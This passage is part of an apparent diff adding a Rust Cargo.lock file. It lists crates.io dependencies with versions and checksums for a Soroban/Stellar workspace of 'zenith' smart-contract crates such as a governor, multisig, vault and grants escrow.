"registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9f8bd3e56ce4dfc153cf470fffbfa98c7620958b312ca5c3a4b8d5181fd13c6" + +[[package]] +name = "memchr" +version = "2.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98" + +[[package]] +name = "miniz_oxide" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316" +dependencies = [ + "adler2", +] + +[[package]] +name = "num-bigint" +version = "0.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c89e69e7e0f03bea5ef08013795c25018e101932225a656383bd384495ecc367" +dependencies = [ + "num-integer", + "num-traits", +] + +[[package]] +name = "num-conv" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "521739c6d2bac4aa25192232afe6841231376b2b26d4d9fae5ecf8ca5772e441" + +[[package]] +name = "num-derive" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed3955f1a9c7c0c15e092f9c887db08b1fc683305fdf6eb6684f22555355e202" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "num-integer" +version = "0.1.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ce2d95d4b3734dc35aa2f45e1aa22cd416814592a4f9d9205e11affd5b8e10b" +dependencies = [ + "num-traits", +] + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "object" +version = "0.37.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff76201f031d8863c38aa7f905eca4f53abbfa15f609db4277d44cd8938f33fe" +dependencies = [ + "memchr", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" + +[[package]] +name = "p256" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9863ad85fa8f4460f9c48cb909d38a0d689dba1f6f6988a5e3e0d31071bcd4b" +dependencies = [ + "ecdsa", + "elliptic-curve", + "primeorder", + "sha2", +] + +[[package]] +name = "paste" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57c0d7b74b563b49d38dae00a0c37d4d6de9b432382b2892f0574ddcae73fd0a" + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "pkcs8" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7" +dependencies = [ + "der", + "spki", +] + +[[package]] +name = "portable-atomic" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05c8b63e8d9609db387f0324918f81d68fe27748f084ef092fb35954d0539a85" + +[[package]] +name = "portable-atomic-util" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10ab3eb7f3becc3a1cbc4f2c6f20267996cfc1a6467a873763411b136a122715" +dependencies = [ + "portable-atomic", +] + +[[package]] +name = "powerfmt" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4a6394b9e965e73d0a289ee54f589087e2c676aedf60885baf52c76b771e4958" + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "prettyplease" +version = "0.2.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b" +dependencies = [ + "proc-macro2", + "syn 2.0.119", +] + +[[package]] +name = "primeorder" +version = "0.13.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "353e1ca18966c16d9deb1c69278edbc5f194139612772bd9537af60ac231e1e6" +dependencies = [ + "elliptic-curve", +] + +[[package]] +name = "proc-macro-crate" +version = "3.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e67ba7e9b2b56446f1d419b1d807906278ffa1a658a8a5d8a39dcb1f5a78614f" +dependencies = [ + "toml_edit", +] + +[[package]] +name = "proc-macro2" +version = "1.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "proptest" +version = "1.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8530004ccb15eae51c7e40009fbe317f341f804db54dc033eec1c50be28cfa0" +dependencies = [ + "bit-set", + "bit-vec", + "bitflags 2.13.2", + "chacha20", + "core_detect", + "num-traits", + "rand 0.10.3", + "rand_xorshift", + "regex-syntax", + "rusty-fork", + "tempfile", + "unarray", +] + +[[package]] +name = "quick-error" +version = "1.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1d01941d82fa2ab50be1e79e6714289dd7cde78eba4c074bc5a4374f650dfe0" + +[[package]] +name = "quote" +version = "1.0.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" + +[[package]] +name = "rand" +version = "0.8.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e058c7de0b26af77780c769414d6257830bb240f3c38477dbc2c16e5f54d6d4c" +dependencies = [ + "libc", + "rand_chacha", + "rand_core 0.6.4", +] + +[[package]] +name = "rand" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65c9fb96cbc91e3478eaae79a69fcd3f1ae4ad052e471fe6732fff548984b4af" +dependencies = [ + "getrandom 0.4.3", + "rand_core 0.10.1", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.17", +] + +[[package]] +name = "rand_core" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63b8176103e19a2643978565ca18b50549f6101881c443590420e4dc998a3c69" + +[[package]] +name = "rand_xorshift" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "60aa6af80be32871323012e02e6e65f8a7cc7890931ae421d217ad8fe0df2ccf" +dependencies = [ + "rand_core 0.10.1", +] + +[[package]] +name = "ref-cast" +version = "1.0.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e440fb4e4b4147295338efb76001ab9e4efc0e5839df2c47fc5ac2381d365c3" +dependencies = [ + "ref-cast-impl", +] + +[[package]] +name = "ref-cast-impl" +version = "1.0.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92ecd8964f8453721699a1ed72037b0db49ce2f5a5138486ee89bed6f67cdf3a" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "regex-syntax" +version = "0.8.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4" + +[[package]] +name = "resource-snapshot" +version = "0.1.0" +dependencies = [ + "serde", + "serde_json", + "soroban-sdk", +] + +[[package]] +name = "rfc6979" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dd2a808d456c4a54e300a23e9f5a67e122c3024119acbfd73e3bf664491cb2" +dependencies = [ + "hmac", + "subtle", +] + +[[package]] +name = "rustc-demangle" +version = "0.1.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b74b56ffa8bb2830709a538c2cbcae9aa062db0d2a42563bfb09bdaae44020eb" + +[[package]] +name = "rustc_version" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" +dependencies = [ + "semver", +] + +[[package]] +name = "rustix" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "891efababe418670775f199f0d233d84843c227a0949a883ce15b37c78d6629d" +dependencies = [ + "bitflags 2.13.2", + "errno", + "libc", + "linux-raw-sys", + "windows-sys", +] + +[[package]] +name = "rustversion" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf54715a573b99ac80df0bc206da022bcd442c974952c7b9720069370852e21f" + +[[package]] +name = "rusty-fork" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc6bf79ff24e648f6da1f8d1f011e9cac26491b619e6b9280f2b47f1774e6ee2" +dependencies = [ + "fnv", + "quick-error", + "tempfile", + "wait-timeout", +] + +[[package]] +name = "schemars" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4cd191f9397d57d581cddd31014772520aa448f65ef991055d7f61582c65165f" +dependencies = [ + "dyn-clone", + "ref-cast", + "serde", + "serde_json", +] + +[[package]] +name = "schemars" +version = "1.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab508826f74a77ca9d5aba6ff19b522583ee3eaf28a19384ff3d0e5835fadf6e" +dependencies = [ + "dyn-clone", + "ref-cast", + "serde", + "serde_json", +] + +[[package]] +name = "sec1" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3e97a565f76233a6003f9f5c54be1d9c5bdfa3eccfb189469f11ec4901c47dc" +dependencies = [ + "base16ct", + "der", + "generic-array", + "subtle", + "zeroize", +] + +[[package]] +name = "semver" +version = "1.0.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a7852d02fc848982e0c167ef163aaff9cd91dc640ba85e263cb1ce46fae51cd" + +[[package]] +name = "serde" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4148590afebada386688f18773da617792bf2ef03ffc1e4cbd2b1d45b023e0ba" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67dca2c9c51e58a4791a4b1ed58308b39c64224d349a935ab5039aa360942a48" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7a5d71263a5a7d47b41f6b3f06ba276f10cc18b0931f1799f710578e2309348" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "serde_json" +version = "1.0.154" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7e9cc8b1b85264074fbcc02a88680c4096b1e47df8f739dceb03bf482f04bd6" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "serde_with" +version = "3.24.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df9adc193c780ef8f159aee8b61e2d5801aaa555e6eb0947fe45530ec506296f" +dependencies = [ + "base64 0.23.1", + "bs58", + "chrono", + "hex", + "indexmap 1.9.3", + "indexmap 2.14.2", + "jiff", + "schemars 0.9.0", + "schemars 1.2.3", + "serde_core", + "serde_json", + "serde_with_macros", + "time", +] + +[[package]] +name = "serde_with_macros" +version = "3.24.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e17bbc68e28663bbbb90df47e058aa7eda4fb445b89fe70457bb94fbccf6e49" +dependencies = [ + "darling 0.24.1", + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures 0.2.17", + "digest", +] + +[[package]] +name = "sha3" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77fd7028345d415a4034cf8777cd4f8ab1851274233b45f84e3d955502d93874" +dependencies = [ + "digest", + "keccak", +] + +[[package]] +name = "shlex" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba" + +[[package]] +name = "signature" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de" +dependencies = [ + "digest", + "rand_core 0.6.4", +] + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "smallvec" +version = "1.16.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b3dc8af474f516a851ff4bd12db780f948b9250ad37211e4eec0bccea54e01b" + +[[package]] +name = "soroban-builtin-sdk-macros" +version = "21.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2f57a68ef8777e28e274de0f3a88ad9a5a41d9a2eb461b4dd800b086f0e83b80" +dependencies = [ + "itertools", + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "soroban-env-common" +version = "21.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2fd1c89463835fe6da996318156d39f424b4f167c725ec692e5a7a2d4e694b3d" +dependencies = [ + "arbitrary", + "crate-git-revision", + "ethnum", + "num-derive", + "num-traits", + "serde", + "soroban-env-macros", + "soroban-wasmi", + "static_assertions", + "stellar-xdr", + "wasmparser", +] + +[[package]] +name = "soroban-env-guest" +version = "21.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6bfb2536811045d5cd0c656a324cbe9ce4467eb734c7946b74410d90dea5d0ce" +dependencies = [ + "soroban-env-common", + "static_assertions", +] + +[[package]] +name = "soroban-env-host" +version = "21.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b7a32c28f281c423189f1298960194f0e0fc4eeb72378028171e556d8cd6160" +dependencies = [ + "backtrace", + "curve25519-dalek", + "ecdsa", + "ed25519-dalek", + "elliptic-curve", + "generic-array", + "getrandom 0.2.17", + "hex-literal", + "hmac", + "k256", + "num-derive", + "num-integer", + "num-traits", + "p256", + "rand 0.8.8", + "rand_chacha", + "sec1", + "sha2", + "sha3", + "soroban-builtin-sdk-macros", + "soroban-env-common", + "soroban-wasmi", + "static_assertions", + "stellar-strkey", + "wasmparser", +] + +[[package]] +name = "soroban-env-macros" +version = "21.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "242926fe5e0d922f12d3796cd7cd02dd824e5ef1caa088f45fce20b618309f64" +dependencies = [ + "itertools", + "proc-macro2", + "quote", + "serde", + "serde_json", + "stellar-xdr", + "syn 2.0.119", +] + +[[package]] +name = "soroban-ledger-snapshot" +version = "21.7.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6edf92749fd8399b417192d301c11f710b9cdce15789a3d157785ea971576fa" +dependencies = [ + "serde", + "serde_json", + "serde_with", + "soroban-env-common", + "soroban-env-host", + "thiserror 1.0.69", +] + +[[package]] +name = "soroban-sdk" +version = "21.7.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7dcdf04484af7cc731a7a48ad1d9f5f940370edeea84734434ceaf398a6b862e" +dependencies = [ + "arbitrary", + "bytes-lit", + "ctor", + "derive_arbitrary", + "ed25519-dalek", + "rand 0.8.8", + "rustc_version", + "serde", + "serde_json", + "soroban-env-guest", + "soroban-env-host", + "soroban-ledger-snapshot", + "soroban-sdk-macros", + "stellar-strkey", +] + +[[package]] +name = "soroban-sdk-macros" +version = "21.7.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0974e413731aeff2443f2305b344578b3f1ffd18335a7ba0f0b5d2eb4e94c9ce" +dependencies = [ + "crate-git-revision", + "darling 0.20.11", + "itertools", + "proc-macro2", + "quote", + "rustc_version", + "sha2", + "soroban-env-common", + "soroban-spec", + "soroban-spec-rust", + "stellar-xdr", + "syn 2.0.119", +] + +[[package]] +name = "soroban-spec" +version = "21.7.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2c70b20e68cae3ef700b8fa3ae29db1c6a294b311fba66918f90cb8f9fd0a1a" +dependencies = [ + "base64 0.13.1", + "stellar-xdr", + "thiserror 1.0.69", + "wasmparser", +] + +[[package]] +name = "soroban-spec-rust" +version = "21.7.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2dafbde981b141b191c6c036abc86097070ddd6eaaa33b273701449501e43d3" +dependencies = [ + "prettyplease", + "proc-macro2", + "quote", + "sha2", + "soroban-spec", + "stellar-xdr", + "syn 2.0.119", + "thiserror 1.0.69", +] + +[[package]] +name = "soroban-wasmi" +version = "0.31.1-soroban.20.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "710403de32d0e0c35375518cb995d4fc056d0d48966f2e56ea471b8cb8fc9719" +dependencies = [ + "smallvec", + "spin", + "wasmi_arena", + "wasmi_core", + "wasmparser-nostd", +] + +[[package]] +name = "spec-diff" +version = "0.1.0" +dependencies = [ + "soroban-spec", + "stellar-xdr", +] + +[[package]] +name = "spin" +version = "0.9.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3763264f6b73151db08c50ff20d7d8a0b8796e021cdea7ceedad07b80155fa0e" + +[[package]] +name = "spki" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" +dependencies = [ + "base64ct", + "der", +] + +[[package]] +name = "static_assertions" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" + +[[package]] +name = "stellar-strkey" +version = "0.0.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12d2bf45e114117ea91d820a846fd1afbe3ba7d717988fee094ce8227a3bf8bd" +dependencies = [ + "base32", + "crate-git-revision", + "thiserror 1.0.69", +] + +[[package]] +name = "stellar-xdr" +version = "21.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2675a71212ed39a806e415b0dbf4702879ff288ec7f5ee996dda42a135512b50" +dependencies = [ + "arbitrary", + "base64 0.13.1", + "crate-git-revision", + "escape-bytes", + "hex", + "serde", + "serde_with", + "stellar-strkey", +] + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "2.0.119" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "3.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d78c8dee4c7bf0e14673097256fed6142ce9d3b85a408189d07482442145823b" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "tempfile" +version = "3.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" +dependencies = [ + "fastrand", + "getrandom 0.4.3", + "once_cell", + "rustix", + "windows-sys", +] + +[[package]] +name = "thiserror" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" +dependencies = [ + "thiserror-impl 1.0.69", +] + +[[package]] +name = "thiserror" +version = "2.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09e52cb86a36cede5cb101bf8908837b3e4c6e5e59fe7fd85c23fb56200d189e" +dependencies = [ + "thiserror-impl 2.0.21", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "thiserror-impl" +version = "2.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe5197923287db20a58125f0bc85c062f7f2c892de97b18c356f9efb14b28524" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "time" +version = "0.3.55" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cdb87b95ec50ddfa440816d227a17b2ccbdda963a316a727fda0fc4334f7d134" +dependencies = [ + "deranged", + "num-conv", + "powerfmt", + "serde_core", + "time-core", + "time-macros", +] + +[[package]] +name = "time-core" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e1c906769ad99c88eaa54e728060edef082f8e358ff32030cb7c7d315e81109" + +[[package]] +name = "time-macros" +version = "0.2.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e689342a48d2ea927c87ea50cabf8594854bf940e9310208848d680d668ed85" +dependencies = [ + "num-conv", + "time-core", +] + +[[package]] +name = "tinyvec" +version = "1.13.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd3ca314f692efd6c868f8408f53fe444634a845f96c028b97d35f6a1f79f0ee" + +[[package]] +name = "toml_datetime" +version = "1.1.2+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b86d767906c6c42421dcba507eb9d203e779497710a47782a224bb871653053" +dependencies = [ + "serde_core", +] + +[[package]] +name = "toml_edit" +version = "0.25.17+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3641d5bbb5349a79e1020a242d251efbc546ad8048d133958323ce9c40a9c9c" +dependencies = [ + "indexmap 2.14.2", + "toml_datetime", + "toml_parser", + "winnow", +] + +[[package]] +name = "toml_parser" +version = "1.1.5+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baa693a8032d7e1cada7d0041e96126df243179ff061456783ac7f12bda4744c" +dependencies = [ + "winnow", +] + +[[package]] +name = "typenum" +version = "1.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20" + +[[package]] +name = "unarray" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eaea85b334db583fe3274d12b4cd1880032beab409c0d774be044d4480ab9a94" + +[[package]] +name = "unicode-ident" +version = "1.0.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2c754d6c33795a1c324727428e5a7dedb5b06195f9890bdbcba760d3e246563" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "wait-timeout" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ac3b126d3914f9849036f826e054cbabdc8519970b8998ddaf3b5bd3c65f11" +dependencies = [ + "libc", +] + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasm-bindgen" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9bb54f33acc68fd454578d9820b0bde1a1a3d17aa17bb7b6595806d02886d409" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e29d0c35b16e224a7eeb5cd2d25e3e1968fbd65604117b44d3b789d00ee8535" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f501a8bc3719dba86ef8ae4728879c08001bea749eb1333ac5b91e040e2a6b7" +dependencies = [ + "bumpalo", + "proc-macro2", + "quote", + "syn 3.0.9", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.129" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23f0c9c52aa7cd7d77769a4cfe2a9adb1b331f489a41d912ce14513d5ab995c6" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "wasmi_arena" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "104a7f73be44570cac297b3035d76b169d6599637631cf37a1703326a0727073" + +[[package]] +name = "wasmi_core" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dcf1a7db34bff95b85c261002720c00c3a6168256dcb93041d3fa2054d19856a" +dependencies = [ + "downcast-rs", + "libm", + "num-traits", + "paste", +] + +[[package]] +name = "wasmparser" +version = "0.116.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a58e28b80dd8340cb07b8242ae654756161f6fc8d0038123d679b7b99964fa50" +dependencies = [ + "indexmap 2.14.2", + "semver", +] + +[[package]] +name = "wasmparser-nostd" +version = "0.100.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d5a015fe95f3504a94bb1462c717aae75253e39b9dd6c3fb1062c934535c64aa" +dependencies = [ + "indexmap-nostd", +] + +[[package]] +name = "windows-core" +version = "0.62.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-link", + "windows-result", + "windows-strings", +] + +[[package]] +name = "windows-implement" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "windows-interface" +version = "0.59.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-result" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-strings" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "winnow" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23b97319f7b8343df12cc98938e5c3eb436064524c8d2b4e30a1d3a36eecdf81" +dependencies = [ + "memchr", +] + +[[package]] +name = "xtask" +version = "0.1.0" +dependencies = [ + "serde_json", +] + +[[package]] +name = "zenith-common" +version = "0.1.0" +dependencies = [ + "soroban-sdk", +] + +[[package]] +name = "zenith-governor" +version = "0.1.0" +dependencies = [ + "soroban-sdk", + "zenith-common", + "zenith-timelock", +] + +[[package]] +name = "zenith-grants-escrow" +version = "0.1.0" +dependencies = [ + "soroban-sdk", + "zenith-common", +] + +[[package]] +name = "zenith-integration-tests" +version = "0.1.0" +dependencies = [ + "soroban-sdk", + "zenith-governor", + "zenith-multisig", + "zenith-options-market", + "zenith-price-oracle", + "zenith-timelock", + "zenith-vault", +] + +[[package]] +name = "zenith-multisig" +version = 